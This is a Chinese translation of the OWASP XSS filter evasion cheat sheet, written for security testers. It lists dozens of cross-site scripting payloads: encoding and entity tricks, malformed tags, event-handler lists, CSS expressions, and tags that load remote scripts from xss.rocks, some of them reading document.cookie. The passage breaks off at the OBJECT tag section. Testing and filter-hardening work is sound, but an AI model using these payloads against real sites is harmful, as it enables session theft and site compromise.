XSS繞過,XSS過濾速查,XSS繞過姿勢

1.介紹

這篇文章的主要目的是給專業安全測試人員提供一份跨站腳本漏洞檢測指南。文章的初始內容是由RSnake提供給 OWASP,內容基於他的XSS備忘錄:http://ha.ckers.org/xss.html。目前這個網頁已經重定向到OWASP網站,將由OWASP維護和完善它。OWASP 的第一個防禦備忘錄項目:XSS (Cross Site Scripting)Prevention Cheat Sheet 靈感來源於 RSnake 的 XSS Cheat Sheet,所以我們對他給予我們的啓發表示感謝。我們想要去創建短小簡單的參考給開發者以便幫助他們預防 XSS漏洞,而不是簡單的告訴他們需要使用複雜的方法構建應用來預防各種千奇百怪的攻擊,這也是OWASP 備忘錄系列誕生的原因。

2.測試

這份備忘錄是爲那些已經理解XSS攻擊,但是想要了解關於繞過過濾器方法之間細微差別的人準備的。

請注意大部分的跨站腳本攻擊向量已經在其代碼下方給出的瀏覽器列表中進行測試。

2.1.  XSS定位器

在大多數存在漏洞且不需要特定XSS攻擊代碼的地方插入下列代碼會彈出包含“XSS”字樣的對話框。使用URL編碼器來對整個代碼進行編碼。小技巧:如果你時間很緊想要快速檢查頁面,通常只要插入“<任意文本>”標籤,然後觀察頁面輸出是否明顯改變了就可以判斷是否存在漏洞:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;

alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–

></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

2.2.  XSS定位器(短)

如果你沒有足夠的空間並且知道頁面上沒有存在漏洞的JavaScript,這個字符串是一個不錯的簡潔XSS注入檢查。注入後查看頁面源代碼並且尋找是否存在<XSS &lt;XSS字樣來確認是否存在漏洞

”;!–”<XSS>=&{()} 

2.3.  無過濾繞過

這是一個常規的XSS注入代碼,雖然通常它會被防禦,但是建議首先去測試一下。(引號在任何現代瀏覽器中都不需要,所以這裏省略了它):

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT> 

2.4.  利用多語言進行過濾繞過

‘”>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)>

<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>

<script>alert(document.cookie)</script>”>

<img/id=”confirm&lpar;1)”/alt=”/”src=”/”onerror=eval(id)>’”>

<img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“>

2.5.  通過JavaScript命令實現的圖片XSS

圖片注入使用JavaScript命令實現(IE7.0 不支持在圖片上下文中使用JavaScript 命令,但是可以在其他上下文觸發。下面的例子展示了一種其他標籤依舊通用的原理):

<IMG SRC=”javascript:alert(‘XSS’);”> 

2.6.  無分號無引號

<IMG SRC=javascript:alert(‘XSS’)> 

2.7.  不區分大小寫的XSS攻擊向量

<IMG SRC=JaVaScRiPt:alert(‘XSS’)> 

2.8.  HTML實體

必須有分號纔可生效

<IMG SRC=javascript:alert(&quot;XSS&quot;)> 

2.9.  重音符混淆

如果你的JavaScript代碼中需要同時使用單引號和雙引號,那麼可以使用重音符(`)來包含JavaScript 代碼。這通常會有很大幫助,因爲大部分跨站腳本過濾器都沒有過濾這個字符:

<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`> 

2.10.    畸形的A標籤

跳過HREF標籤找到XSS的重點。。。由DavidCross提交~已在Chrome上驗證

<a onmouseover=”alert(document.cookie)”>xxs link</a> 

此外Chrome經常幫你補全確實的引號。。。如果在這方面遇到問題就直接省略引號,Chrome會幫你補全在URL或腳本中缺少的引號。

<a onmouseover=alert(document.cookie)>xxs link</a> 

2.11.    畸形的IMG標籤

最初由Begeek發現(短小精湛適用於所有瀏覽器),這個XSS攻擊向量使用了不嚴格的渲染引擎來構造含有IMG標籤並被引號包含的XSS攻擊向量。我猜測這種解析原來是爲了兼容不規範的編碼。這會讓它更加難以正確的解析HTML標籤:

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> 

2.12.    fromCharCode函數

如果不允許任何形式的引號,你可以通過執行JavaScript裏的fromCharCode函數來創建任何你需要的XSS攻擊向量:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> 

2.13.    使用默認SRC屬性繞過SRC域名過濾器

這種方法可以繞過大多數SRC域名過濾器。將JavaScript代碼插入事件方法同樣適用於注入使用elements的任何HTML標籤,例如Form,Iframe, Input, Embed等等。它同樣允許將事件替換爲任何標籤中可用的事件類型,例如onblur,onclick。下面會給出許多不同的可注入事件列表。由David Cross提交,Abdullah Hussam(@Abdulahhusam)編輯。

<IMG SRC=# onmouseover=”alert(‘xxs’)”> 

2.14.    使用默認爲空的SRC屬性

<IMG SRC= onmouseover=”alert(‘xxs’)”> 

2.15.    使用不含SRC屬性

<IMG onmouseover=”alert(‘xxs’)”> 

2.16.    通過error事件觸發alert

<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img> 

2.17.    對IMG標籤中onerror屬性進行編碼

<img src=x onerror=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″> 

2.18.    十進制HTML字符實體編碼

所有在IMG標籤裏直接使用javascript:形式的XSS示例無法在Firefox或Netscape8.1以上瀏覽器(使用Gecko渲染引擎)運行。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#39;&#88;&#83;&#83;&#39;&#41;>

2.19.    不帶分號的十進制HTML字符實體編碼

這對於繞過對“&#XX;”形式的XSS過濾非常有用,因爲大多數人不知道最長可使用7位數字。這同樣對例如$tmp_string =~s/.*\&#(\d+);.*/$1/;形式的過濾器有效,這種過濾器是錯誤的認爲HTML字符實體編碼需要用分號結尾(無意中發現的):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&

#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

2.20.    不帶分號的十六進制HTML字符實體編碼

這是有效繞過例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;過濾器的方法。這種過濾器錯誤的認爲#號後會跟着數字(十六進制HTML字符實體編碼並非如此)

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 

2.21.    內嵌TAB

使用TAB來分開XSS攻擊代碼:

<IMG SRC=”jav ascript:alert(‘XSS’);”> 

2.22.    內嵌編碼後TAB

使用編碼後的TAB來分開XSS攻擊代碼:

<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”> 

2.23.    內嵌換行分隔XSS攻擊代碼

一些網站聲稱09到13(十進制)的HTML實體字符都可以實現這種攻擊,這是不正確的。只有09(TAB),10(換行)和13(回車)有效。查看ASCII字符表獲取更多細節。下面幾個XSS示例介紹了這些向量。

<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”> 

2.24.    內嵌回車分隔XSS攻擊代碼

注意:上面使用了比實際需要長的字符串是因爲0可以忽略。經常可以遇到過濾器解碼十六進制和十進制編碼時認爲只有2到3位字符。實際規則是1至7位字符:

<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”> 

2.25.    使用空字符分隔JavaScript指令

空字符同樣可以作爲XSS攻擊向量,但和上面有所區別,你需要使用一些例如Burp工具或在URL字符串裏使用%00,亦或你想使用VIM編寫自己的注入工具(^V^@會生成空字符),還可以通過程序生成它到一個文本文件。老版本的Opera瀏覽器(例如Windows版的7.11)還會受另一個字符173(軟連字符)的影響。但是空字符%00更加有用並且能幫助繞過真實世界裏的過濾器,例如這個例子裏的變形:

perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out 

2.26.    利用IMG標籤中JavaScript指令前的空格和元字符

如果過濾器不計算”javascript:”前的空格,這是正確的,因爲它們不會被解析,但這點非常有用。因爲這會造成錯誤的假設,就是引號和”javascript:”字樣間不能有任何字符。實際情況是你可以插入任何十進制的1至32號字符:

<IMG SRC=” &#14;  javascript:alert(‘XSS’);”> 

2.27.    利用非字母非數字字符

FireFox的HTML解析器認爲HTML關鍵詞後不能有非字母非數字字符,並且認爲這是一個空白或在HTML標籤後的無效符號。但問題是有的XSS過濾器認爲它們要查找的標記會被空白字符分隔。例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:

<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT> 

基於上面的原理,可以使用模糊測試進行擴展。Gecko渲染引擎允許任何字符包括字母,數字或特殊字符(例如引號,尖括號等)存在於事件名稱和等號之間,這會使得更加容易繞過跨站腳本過濾。注意這同樣適用於下面看到的重音符:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> 

Yair Amit讓我注意到了IE和Gecko渲染引擎有一點不同行爲,在於是否在HTML標籤和參數之間允許一個不含空格的斜槓。這會非常有用如果系統不允許空格的時候。

<SCRIPT/SRC=”http://xss.rocks/xss.js“></SCRIPT> 

2.28.    額外的尖括號

由Franz Sedlmaier提交,這個XSS攻擊向量可以繞過某些檢測引擎,比如先查找第一個匹配的尖括號,然後比較裏面的標籤內容,而不是使用更有效的算法,例如Boyer-Moore算法就是查找整個字符串中的尖括號和相應標籤(當然是通過模糊匹配)。雙斜槓註釋了額外的尖括號來防止出現JavaScript錯誤:

<<SCRIPT>alert(“XSS”);//<</SCRIPT> 

2.29.    未閉合的script標籤

在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必須構造類似“></SCRIPT>”的跨站腳本攻擊向量。Firefox假定閉合HTML標籤是安全的並且會爲你添加閉合標記。多麼體貼!不像不影響Firefox的下一個問題,這不需要在後面有額外的HTML標籤。如果需要可以添加引號,但通常是沒有必要的,需要注意的是,我並不知道這樣注入後HTML會什麼樣子結束:

<SCRIPT SRC=http://xss.rocks/xss.js?< B > 

2.30.    script標籤中的協議解析

這個特定的變體是由Łukasz Pilorz提交的並且基於Ozh提供的協議解析繞過。這個跨站腳本示例在IE和Netscape的IE渲染模式下有效,如果添加了</SCRIPT>標記在Opera中也可以。這在輸入空間有限的情況下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT標籤中不需要考慮編碼類型因爲瀏覽器會自動識別。

<SCRIPT SRC=//xss.rocks/.j> 

2.31.    只含左尖括號的HTML/JavaScript XSS向量

IE渲染引擎不像Firefox,不會向頁面中添加額外數據。但它允許在IMG標籤中直接使用javascript。這對構造攻擊向量是很有用的,因爲不需要閉合尖括號。這使得有任何HTML標籤都可以進行跨站腳本攻擊向量注入。甚至可以不使用”>”閉合標籤。注意:這會讓HTML頁面變得混亂,具體程度取決於下面的HTML標籤。這可以繞過以下NIDS正則:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/因爲不需要”>”閉合。另外在實際對抗XSS過濾器的時候,使用一個半開放的<IFRAME標籤替代<IMG標籤也是非常有效的。

<IMG SRC=”javascript:alert(‘XSS’)” 

 

2.32.    多個左尖括號

 

 

使用一個左尖括號替代右尖括號作爲標籤結尾的攻擊向量會在不同瀏覽器的Gecko渲染引擎下有不同表現。沒有左尖括號時,在Firefox中生效,而在Netscape中無效。

<iframe src=http://xss.rocks/scriptlet.html < 

 

 

2.33.    JavaScript雙重轉義

 

 

當應用將一些用戶輸入輸出到例如:<SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT>的JavaScript中時,你想注入你的JavaScript腳本,你可以通過轉義轉義字符來規避服務器端轉義引號。注入後會得到<SCRIPT>vara=”\\”;alert(‘XSS’);//”;</SCRIPT>,這時雙引號不會被轉義並且可以觸發跨站腳本攻擊向量。XSS定位器就用了這種方法:

\”;alert(‘XSS’);// 

 

 

另一種情況是,如果內嵌數據進行了正確的JSON或JavaScript轉義,但沒有HTML編碼,那可以結束原有腳本塊並開始你自己的:

</script><script>alert(‘XSS’);</script> 

 

 

2.34.    閉合title標籤

 

 

這是一個簡單的閉合<TITLE>標籤的XSS攻擊向量,可以包含惡意的跨站腳本攻擊:

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT> 

 

 

2.35.    INPUT image

<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> 

 

 

 

 

2.36.    BODY image

<BODY BACKGROUND=”javascript:alert(‘XSS’)”> 

 

 

 

 

2.37.    IMG Dynsrc

<IMG DYNSRC=”javascript:alert(‘XSS’)”> 

 

 

 

 

2.38.    IMG lowsrc

<IMG LOWSRC=”javascript:alert(‘XSS’)”> 

 

 

 

 

2.39.    List-style-image

 

 

 

處理嵌入的圖片列表是很麻煩的問題。由於JavaScript指令的原因只能在IE渲染引擎下有效。不是一個特別有用的跨站腳本攻擊向量:

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br> 

 

 

2.40.    圖片中引用VBscript

<IMG SRC=’vbscript:msgbox(“XSS”)’> 

 

 

 

 

2.41.    Livescript (僅限舊版本Netscape)

<IMG SRC=”livescript:[code]"> 

 

 

 

 

2.42.    SVG對象標籤

<svg/onload=alert('XSS')> 

 

 

 

 

2.43.    ECMAScript 6

Set.constructor`alert\x28document.domain\x29``` 

 

 

 

 

2.44.    BODY標籤

 

 

這個方法不需要使用任何例如"javascript:"或"<SCRIPT..."語句來完成XSS攻擊。Dan Crowley特別提醒你可以在等號前加入一個空格("onload=" != "onload ="):

<BODY ONLOAD=alert('XSS')> 

 

 

2.45.    事件處理程序

 

 

在XSS攻擊中可使用以下事件(在完稿的時候這是網上最全的列表了)。感謝ReneLedosquet的更新。

 

 

1.    FSCommand() (攻擊者當需要在嵌入的Flash對象中執行時可以使用此事件)

 

2.    onAbort() (當用戶中止加載圖片時)

 

3.    onActivate() (當對象激活時)

 

4.    onAfterPrint() (用戶打印或進行打印預覽後觸發)

 

5.    onAfterUpdate() (從數據源對象更新數據後由數據對象觸發)

 

6.    onBeforeActivate() (在對象設置爲激活元素前觸發)

 

7.    onBeforeCopy() (攻擊者在選中部分拷貝到剪貼板前執行攻擊代碼-攻擊者可以通過執行execCommand("Copy")函數觸發)

 

8.    onBeforeCut() (攻擊者在選中部分剪切到剪貼板前執行攻擊代碼)

 

9.    onBeforeDeactivate() (在當前對象的激活元素變化前觸發)

 

10.  onBeforeEditFocus() (在一個包含可編輯元素的對象進入激活狀態時或一個可編輯的對象被選中時觸發)

 

11.  onBeforePaste() (在用戶被誘導進行粘貼前或使用execCommand("Paste")函數觸發)

 

12.  onBeforePrint() (用戶需要被誘導進行打印或攻擊者可以使用print()或execCommand("Print")函數).

 

13.  onBeforeUnload() (用戶需要被誘導關閉瀏覽器-除非從父窗口執行,否則攻擊者不能關閉當前窗口)

 

14.  onBeforeUpdate() (從數據源對象更新數據前由數據對象觸發)

 

15.  onBegin() (當元素週期開始時由onbegin 事件立即觸發)

 

16.  onBlur() (另一個窗口彈出當前窗口失去焦點時觸發)

 

17.  onBounce() (當marquee對象的behavior屬性設置爲“alternate”且字幕的滾動內容到達窗口一邊時觸發)

 

18.  onCellChange() (當數據提供者的數據變化時觸發)

 

19.  onChange() (select,text, 或TEXTAREA字段失去焦點並且值發生變化時觸發)

 

20.  onClick() (表單中點擊觸發)

 

21.  onContextMenu() (用戶需要在攻擊區域點擊右鍵)

 

22.  onControlSelect() (當用戶在一個對象上創建控件選中區時觸發)

 

23.  onCopy() (用戶需要複製一些東西或使用execCommand("Copy")命令時觸發)

 

24.  onCut() (用戶需要剪切一些東西或使用execCommand("Cut")命令時觸發)

 

25.  onDataAvailable() (用戶需要修改元素中的數據,或者由攻擊者提供的類似功能)

 

26.  onDataSetChanged() (當數據源對象變更導致數據集發生變更時觸發)

 

27.  onDataSetComplete() (數據源對象中所有數據可用時觸發)

 

28.  onDblClick() (用戶雙擊一個表單元素或鏈接)

 

29.  onDeactivate() (在激活元素從當前對象轉換到父文檔中的另一個對象時觸發)

 

30.  onDrag() (在元素正在拖動時觸發)

 

31.  onDragEnd() (當用戶完成元素的拖動時觸發)

 

32.  onDragLeave() (用戶在拖動元素離開放置目標時觸發)

 

33.  onDragEnter() (用戶將對象拖拽到合法拖曳目標)

 

34.  onDragOver() (用戶將對象拖拽劃過合法拖曳目標)

 

35.  onDragDrop() (用戶將一個對象(例如文件)拖拽到瀏覽器窗口)

 

36.  onDragStart() (當用戶開始拖動元素時觸發)

 

37.  onDrop() (當拖動元素放置在目標區域時觸發)

 

38.  onEnded() (在視頻/音頻(audio/video)播放結束時觸發)

 

39.  onError() (在加載文檔或圖像時發生錯誤)

 

40.  onErrorUpdate() (當從數據源對象更新相關數據遇到錯誤時在數據綁定對象上觸發)

 

41.  onFilterChange() (當濾鏡完成狀態變更時觸發)

 

42.  onFinish() (當marquee完成滾動時攻擊者可以執行攻擊)

 

43.  onFocus() (當窗口獲得焦點時攻擊者可以執行攻擊代碼)

 

44.  onFocusIn() (當元素將要被設置爲焦點之前觸發)

 

45.  onFocusOut() (攻擊者可以在窗口失去焦點時觸發攻擊代碼)

 

46.  onHashChange() (當錨部分發生變化時觸發攻擊代碼)

 

47.  onHelp() (攻擊者可以在用戶在當前窗體激活時按下F1觸發攻擊代碼)

 

48.  onInput() (在 <input> 或 <textarea> 元素的值發生改變時觸發)

 

49.  onKeyDown() (用戶按下一個鍵的時候觸發)

 

50.  onKeyPress() (在鍵盤按鍵被按下並釋放一個鍵時觸發)

 

51.  onKeyUp() (用戶釋放一個鍵時觸發)

 

52.  onLayoutComplete() (用戶進行完打印或打印預覽時觸發)

 

53.  onLoad() (攻擊者在窗口加載後觸發攻擊代碼)

 

54.  onLoseCapture() (可以由releaseCapture()方法觸發)

 

55.  onMediaComplete() (當一個流媒體文件使用時,這個事件可以在文件播放前觸發)

 

56.  onMediaError() (當用戶在瀏覽器中打開一個包含媒體文件的頁面,出現問題時觸發事件)

 

57.  onMessage() (當頁面收到一個信息時觸發事件)

 

58.  onMouseDown() (攻擊者需要讓用戶點擊一個圖片觸發事件)

 

59.  onMouseEnter() (光標移動到一個對象或區域時觸發)

 

60.  onMouseLeave() (攻擊者需要讓用戶光標移動到一個圖像或表格然後移開來觸發事件)

 

61.  onMouseMove() (攻擊者需要讓用戶將光標移到一個圖片或表格)

 

62.  onMouseOut() (攻擊者需要讓用戶光標移動到一個圖像或表格然後移開來觸發事件)

 

63.  onMouseOver() (光標移動到一個對象或區域)

 

64.  onMouseUp() (攻擊者需要讓用戶點擊一個圖片)

 

65.  onMouseWheel() (攻擊者需要讓用戶使用他們的鼠標滾輪)

 

66.  onMove() (用戶或攻擊者移動頁面時觸發)

 

67.  onMoveEnd() (用戶或攻擊者移動頁面結束時觸發)

 

68.  onMoveStart() (用戶或攻擊者開始移動頁面時觸發)

 

69.  onOffline() (當瀏覽器從在線模式切換到離線模式時觸發)

 

70.  onOnline() (當瀏覽器從離線模式切換到在線模式時觸發)

 

71.  onOutOfSync() (當元素與當前時間線失去同步時觸發)

 

72.  onPaste() (用戶進行粘貼時或攻擊者可以使用execCommand("Paste")函數時觸發)

 

73.  onPause() (在視頻或音頻暫停時觸發)

 

74.  onPopState() (在窗口的瀏覽歷史(history 對象)發生改變時觸發)

 

75.  onProgress() (攻擊者可以在一個FLASH加載時觸發事件)

 

76.  onPropertyChange() (用戶或攻擊者需要改變元素屬性時觸發)

 

77.  onReadyStateChange() (每次 readyState 屬性變化時被自動調用)

 

78.  onRedo() (用戶返回上一頁面時觸發)

 

79.  onRepeat() (事件在播放完重複播放時觸發)

 

80.  onReset() (用戶或攻擊者重置表單時觸發)

 

81.  onResize() (用戶改變窗口大小時,攻擊者可以自動以這種方法觸發:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)

 

82.  onResizeEnd() (用戶完成改變窗體大小時觸發)

 

83.  onResizeStart() (用戶開始改變窗體大小時觸發)

 

84.  onResume() (當元素繼續播放時觸發)

 

85.  onReverse() (當元素回放時觸發)

 

86.  onRowsEnter() (用戶或攻擊者需要改變數據源中的一行)

 

87.  onRowExit() (用戶或攻擊者改變數據源中的一行後退出時觸發)

 

88.  onRowDelete() (用戶或攻擊者需要刪除數據源中的一行)

 

89.  onRowInserted() (user or attacker would needto insert a row in a data source)

 

90.  onScroll() (用戶需要滾動或攻擊者使用scrollBy()函數)

 

91.  onSeek() (當用戶在元素上執行查找操作時觸發)

 

92.  onSelect() (用戶需要選擇一些文本-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)

 

93.  onSelectionChange() (當用戶選擇文本變化時觸發-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)

 

94.  onSelectStart() (當用戶開始選擇文本時觸發-攻擊者可以以此方式觸發: window.document.execCommand("SelectAll");)

 

95.  onStart() (在marquee 對象開始循環時觸發)

 

96.  onStop() (當用戶按下停止按鈕或離開頁面時觸發)

 

97.  onStorage() (當Web Storage更新時觸發)

 

98.  onSyncRestored() (當元素與它的時間線恢復同步時觸發)

 

99.  onSubmit() (需要用戶或攻擊者提交表單)

 

100.onTimeError() (用戶或攻擊者設置時間屬性出現錯誤時觸發)

 

101.onTrackChange() (用戶或攻擊者改變播放列表內歌曲時觸發)

 

102.onUndo() (用戶返回上一瀏覽記錄頁面時觸發)

 

103.onUnload() (用戶點擊任意鏈接或按下後退按鈕或攻擊者強制進行點擊時觸發)

 

104.onURLFlip() (當一個高級流媒體格式(ASF)文件,由一個HTML+TIME(基於時間交互的多媒體擴展)媒體標籤播放時,可觸發在ASF文件中內嵌的攻擊腳本)

 

105.seekSegmentTime() (這是一個方法可以定位元素某個時間段內中的特定的點,並可以從該點播放。這個段落包含了一個重複的時間線,幷包括使用AUTOREVERSE屬性進行反向播放。)

 

2.46.    BGSOUND

<BGSOUND SRC="javascript:alert('XSS');"> 

 

 

 

 

2.47.    & JavaScript包含

<BR SIZE="&{alert('XSS')}"> 

 

 

 

 

2.48.    樣式表

<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> 

 

 

 

 

2.49.    遠程樣式表

 

 

 

(利用像遠程樣式表一樣簡單的形式,你可以將XSS攻擊代碼包含在可使用內置表達式進行重定義的樣式參數裏。)這隻在IE和使用IE渲染模式Netscape8.1+。注意這裏沒有任何元素在頁面中表明這頁面包含了JavaScript。提示:這些遠程樣式表都使用了body標籤,所以必須在頁面中有除了攻擊向量以外的內容存在時纔會生效, 也就是如果是空白頁的話你必須在頁面添加一個字母來讓攻擊代碼生效:

<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css"> 

 

 

2.50.    遠程樣式表2

 

 

這個和上面一樣有效,不過使用了<STYLE>標籤替代<LINK>標籤. 這個細微的變化曾經用來攻擊谷歌桌面。另一方面,如果在攻擊向量後有HTML標籤閉合攻擊向量,你可以移除末尾的</STYLE>標籤。在進行跨站腳本攻擊時,如不能同時使用等號或斜槓,這是非常有用的,這種情況在現實世界裏不止一次發生了:

<STYLE>@import'http://xss.rocks/xss.css';</STYLE> 

 

 

2.51.    遠程樣式表3

 

 

這種方式僅在Opera 8.0(9.x不可以)中有效,但方法比較有創意. 根據RFC2616,設置一個Link頭部不是HTTP1.1規範的一部分,但一些瀏覽器仍然允許這樣做 (例如Firefox和  Opera). 這裏的技巧是設置一個頭部(和普通頭部並沒有什麼區別,只是設置Link: <http://xss.rocks/xss.css>; REL=stylesheet)並且在遠程樣式表中包含使用了JavaScript的跨站腳本攻擊向量,這一點是FireFox不支持的:

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"> 

 

 

2.52.    遠程樣式表4

 

 

這僅能在Gecko渲染引擎下有效並且需要在父頁面綁定一個XML文件。具有諷刺意味的是 Netscape認爲Gecko更安全 ,所以對絕大多數網站來說會受到漏洞影響:

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE> 

 

 

2.53.    含有分隔JavaScript的STYLE標籤

 

 

這個XSS會在IE中造成無限循環:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 

 

 

2.54.    STYLE屬性中使用註釋分隔表達式

 

 

由Roman Ivanov創建

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 

 

 

2.55.    含表達式的IMG STYLE

 

 

這是一個將上面XSS攻擊向量混合的方法,但確實展示了STYLE標籤可以用相當複雜的方式分隔,和上面一樣,也會讓IE進入死循環:

exp/*<A STYLE='no\xss:noxss("*//*");

xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

 

 

2.56.    STYLE標籤(僅舊版本Netscape可用)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE> 

 

 

 

 

2.57.    使用背景圖像的STYLE標籤

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> 

 

 

 

 

2.58.    使用背景的STYLE標籤

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> 

 

 

 

 

2.59.    含STYLE屬性的HTML任意標籤

 

 

IE6.0和IE渲染引擎模式下的Netscape 8.1+並不關心你建立的HTML標籤是否存在,只要是由尖括號和字母開始的即可:

<XSS STYLE="behavior: url(xss.htc);"> 

 

 

2.60.    本地htc文件

 

 

這和上面兩個跨站腳本攻擊向量有些不同,因爲它使用了一個必須和XSS攻擊向量在相同服務器上的.htc文件。這個示例文件通過下載JavaScript並將其作爲style屬性的一部分運行來進行攻擊:

<XSS STYLE="behavior: url(xss.htc);"> 

 

 

2.61.    US-ASCII編碼

 

 

US-ASCII編碼(由Kurt Huwig發現)。它使用了畸形的7位ASCII編碼來代替8位。這個XSS攻擊向量可以繞過大多數內容過濾器,但是隻在主機使用US-ASCII編碼傳輸數據時有效,或者可以自己設置編碼格式。相對繞過服務器端過濾,這在繞過WAF跨站腳本過濾時候更有效。Apache Tomcat是目前唯一已知使用US-ASCII編碼傳輸的:

¼script¾alert(¢XSS¢)¼/script¾ 

 

 

2.62.    META

 

 

關於meta刷新比較奇怪的是它並不會在頭部中發送一個referrer-所以它通常用於不需要referrer的時候:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> 

 

 

2.62.1 使用數據的META

 

 

URL scheme指令。這個非常有用因爲它並不包含任何可見的SCRIPT單詞或JavaScript指令,因爲它使用了base64編碼.請查看RFC 2397尋找更多細節。你同樣可以使用具有Base64編碼功能的XSS工具來編碼HTML或JavaScript:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 

 

 

2.62.2 含有額外URL參數的META

 

 

如果目標站點嘗試檢查URL是否包含"http://",你可以用以下技術規避它(由Moritz Naumann提交):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> 

 

 

2.63.    IFRAME

 

 

如果允許Iframe那就會有很多XSS問題:

<IFRAME SRC="javascript:alert('XSS');"></IFRAME> 

 

 

2.64.    基於事件IFRAME

 

 

Iframes和大多數其他元素可以使用下列事件(由David Cross提交):

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME> 

 

 

2.65.    FRAME

 

 

Frames和iframe一樣有很多XSS問題:

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> 

 

 

2.66.    TABLE

<TABLE BACKGROUND="javascript:alert('XSS')"> 

 

2.66.1. TD

 

 

和上面一樣,TD也可以通過BACKGROUND來包含JavaScriptXSS攻擊向量:

<TABLE><TD BACKGROUND="javascript:alert('XSS')"> 

 

 

2.67.    DIV

 

 

2.67.1. DIV背景圖像

<DIV STYLE="background-image: url(javascript:alert('XSS'))"> 

 

 

2.67.2. 含有Unicode XSS利用代碼的DIV背景圖像

 

 

這進行了一些修改來混淆URL參數。原始的漏洞是由RenaudLifchitz在Hotmail發現的:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> 

 

 

2.67.3. 含有額外字符的DIV背景圖像

 

 

Rnaske進行了一個快速的XSS模糊測試來發現IE和安全模式下的Netscape 8.1中任何可以在左括號和JavaScript指令間加入的額外字符。這都是十進制的但是你也可以使用十六進制來填充(以下字符可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> 

 

 

2.67.4. DIV表達式

 

 

一個非常有效的對抗現實中的跨站腳本過濾器的變體是在冒號和"expression"之間添加一個換行:

<DIV STYLE="width: expression(alert('XSS'));"> 

2.68.    html 條件選擇註釋塊

 

 

只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。一些網站認爲在註釋中的任何內容都是安全的並且認爲沒有必要移除,這就允許我們添加跨站腳本攻擊向量。系統會在一些內容周圍嘗試添加註釋標籤以便安全的渲染它們。如我們所見,這有時並不起作用:

<!--[if gte IE 4]>

 <SCRIPT>alert('XSS');</SCRIPT>

 <![endif]-->

 

 

2.69.    BASE標籤

 

 

在IE和安全模式下的Netscape 8.1有效。你需要使用//來註釋下個字符,這樣你就不會造成JavaScript錯誤並且你的XSS標籤可以被渲染。同樣,這需要當前網站使用相對路徑例如"images/image.jpg"來放置圖像而不是絕對路徑。如果路徑以一個斜槓開頭例如"/images/image.jpg"你可以從攻擊向量中移除一個斜槓(只有在兩個斜槓時註釋纔會生效):

<BASE HREF="javascript:alert('XSS');//"> 

 

 

2.70.    OBJECT標籤

 

 

